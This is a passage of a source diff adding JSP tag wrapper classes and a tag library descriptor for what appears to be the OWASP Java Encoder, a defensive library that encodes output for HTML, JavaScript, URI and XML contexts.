+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform JavaScript Attribute encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forJavaScriptAttribute(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptAttributeTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forJavaScriptAttribute(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptBlockTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptBlockTag.java
new file mode 100644
index 0000000..439f963
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptBlockTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform JavaScript Block encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forJavaScriptBlock(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptBlockTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forJavaScriptBlock(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptSourceTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptSourceTag.java
new file mode 100644
index 0000000..4b6b3b1
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptSourceTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform JavaScript Source encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forJavaScriptSource(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptSourceTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forJavaScriptSource(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptTag.java
new file mode 100644
index 0000000..c3edc17
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform JavaScript encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forJavaScript(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forJavaScript(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForUriComponentTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForUriComponentTag.java
new file mode 100644
index 0000000..ab1552e
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForUriComponentTag.java
@@ -0,0 +1,53 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag that performs percent-encoding for a component of a URI, such as a query
+ * parameter name or value, path, or query-string.
+ * This wraps the {@link org.owasp.encoder.Encode#forUriComponent(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForUriComponentTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forUriComponent(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForUriTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForUriTag.java
new file mode 100644
index 0000000..9b975f5
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForUriTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform percent-encoding of a URL according to RFC 3986.
+ * This wraps the {@link org.owasp.encoder.Encode#forUri(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForUriTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forUri(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForXmlAttributeTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlAttributeTag.java
new file mode 100644
index 0000000..e2820d9
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlAttributeTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform XML Attribute Encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forXmlAttribute(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlAttributeTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forXmlAttribute(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForXmlCommentTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlCommentTag.java
new file mode 100644
index 0000000..fd3e0d5
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlCommentTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform XML Comment Encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forXmlAttribute(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlCommentTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forXmlComment(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForXmlContentTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlContentTag.java
new file mode 100644
index 0000000..c5540ef
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlContentTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform XML Content Encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forXmlAttribute(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlContentTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forXmlContent(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/java/org/owasp/encoder/tag/ForXmlTag.java b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlTag.java
new file mode 100644
index 0000000..ea9ebea
--- /dev/null
+++ b/jsp/src/main/java/org/owasp/encoder/tag/ForXmlTag.java
@@ -0,0 +1,52 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import java.io.IOException;
+import javax.servlet.jsp.JspException;
+import org.owasp.encoder.Encode;
+
+/**
+ * A tag to perform XML Encoding.
+ * This wraps the {@link org.owasp.encoder.Encode#forXml(java.lang.String)}.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlTag extends EncodingTag {
+ @Override
+ public void doTag() throws JspException, IOException {
+ Encode.forXml(getJspContext().getOut(), _value);
+ }
+}
diff --git a/jsp/src/main/resources/META-INF/LICENSE b/jsp/src/main/resources/META-INF/LICENSE
new file mode 100644
index 0000000..f66c375
--- /dev/null
+++ b/jsp/src/main/resources/META-INF/LICENSE
@@ -0,0 +1,33 @@
+Copyright (c) 2015 Jeff Ichnowski
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file
diff --git a/jsp/src/main/resources/META-INF/java-encoder-advanced.tld b/jsp/src/main/resources/META-INF/java-encoder-advanced.tld
new file mode 100644
index 0000000..becab48
--- /dev/null
+++ b/jsp/src/main/resources/META-INF/java-encoder-advanced.tld
@@ -0,0 +1,560 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<taglib version="2.1" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-jsptaglibrary_2_1.xsd" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+ <display-name>OWASP Java Encoder Project</display-name>
+ <tlib-version>1.0</tlib-version>
+ <short-name>java-encoder</short-name>
+ <uri>https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#advanced</uri>
+ <tag>
+ <description>
+ Encodes data for an XML CDATA section. On the chance that the input
+ contains a terminating
+ &quot;]]&amp;gt;&quot;, it will be replaced by
+ &amp;quot;]]&amp;gt;]]&amp;lt;![CDATA[&amp;gt;&amp;quot;.
+ As with all XML contexts, characters that are invalid according to the
+ XML specification will be replaced by a space character. Caller must
+ provide the CDATA section boundaries.
+ </description>
+ <display-name>forCDATA</display-name>
+ <name>forCDATA</name>
+ <tag-class>org.owasp.encoder.tag.ForCDATATag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>The value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ This method encodes for HTML text content. It does not escape
+ quotation characters and is thus unsafe for use with
+ HTML attributes. Use either forHtml or forHtmlAttribute for those
+ methods.
+ </description>
+ <display-name>forHtmlContent</display-name>
+ <name>forHtmlContent</name>
+ <tag-class>org.owasp.encoder.tag.ForHtmlContentTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>Encodes for XML and XHTML attribute content.</description>
+ <display-name>forXmlAttribute</display-name>
+ <name>forXmlAttribute</name>
+ <tag-class>org.owasp.encoder.tag.ForXmlAttributeTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>Encodes for XML and XHTML.</description>
+ <display-name>forXml</display-name>
+ <name>forXml</name>
+ <tag-class>org.owasp.encoder.tag.ForXmlTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ Encodes for a JavaScript string. It is safe for use in HTML
+ script attributes (such as onclick), script
+ blocks, JSON files, and JavaScript source. The caller MUST
+ provide the surrounding quotation characters for the string.
+ Since this performs additional encoding so it can work in all
+ of the JavaScript contexts listed, it may be slightly less
+ efficient then using one of the methods targetted to a specific
+ JavaScript context: forJavaScriptAttribute,
+ forJavaScriptBlock, or forJavaScriptSource.
+
+ Unless you are interested in saving a few bytes of output or
+ are writing a framework on top of this library, it is recommend
+ that you use this method over the others.
+ </description>
+ <display-name>forJavaScript</display-name>
+ <name>forJavaScript</name>
+ <tag-class>org.owasp.encoder.tag.ForJavaScriptTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ This method encodes for JavaScript strings contained within
+ HTML script attributes (such as onclick). It is
+ NOT safe for use in script blocks. The caller MUST provide the
+ surrounding quotation characters. This method performs the
+ same encode as Encode.forJavaScript(String) with the
+ exception that / is not escaped.
+ </description>
+ <display-name>forJavaScriptAttribute</display-name>
+ <name>forJavaScriptAttribute</name>
+ <tag-class>org.owasp.encoder.tag.ForJavaScriptAttributeTag</tag-class>
+ <body-content>empty</body-content>
+ <attribute>
+ <description>value to be written out</description>
+ <name>value</name>
+ <required>true</required>
+ <rtexprvalue>true</rtexprvalue>
+ <type>java.lang.String</type>
+ </attribute>
+ </tag>
+ <tag>
+ <description>
+ This method encodes for JavaScript strings contained within
+ HTML script blocks. It is NOT safe for use in script
+ attributes (such as onclick). The caller must
+ provide the surrounding quotation characters. This method
+ performs the same encode as Encode.forJavaScript(String)} with
+ the exception that " and ' are encoded as \" and \' respectively.
+ </description>
+ <display-name>forJavaScriptBlock</display-name>
+ <name>forJavaScriptBlock</name>
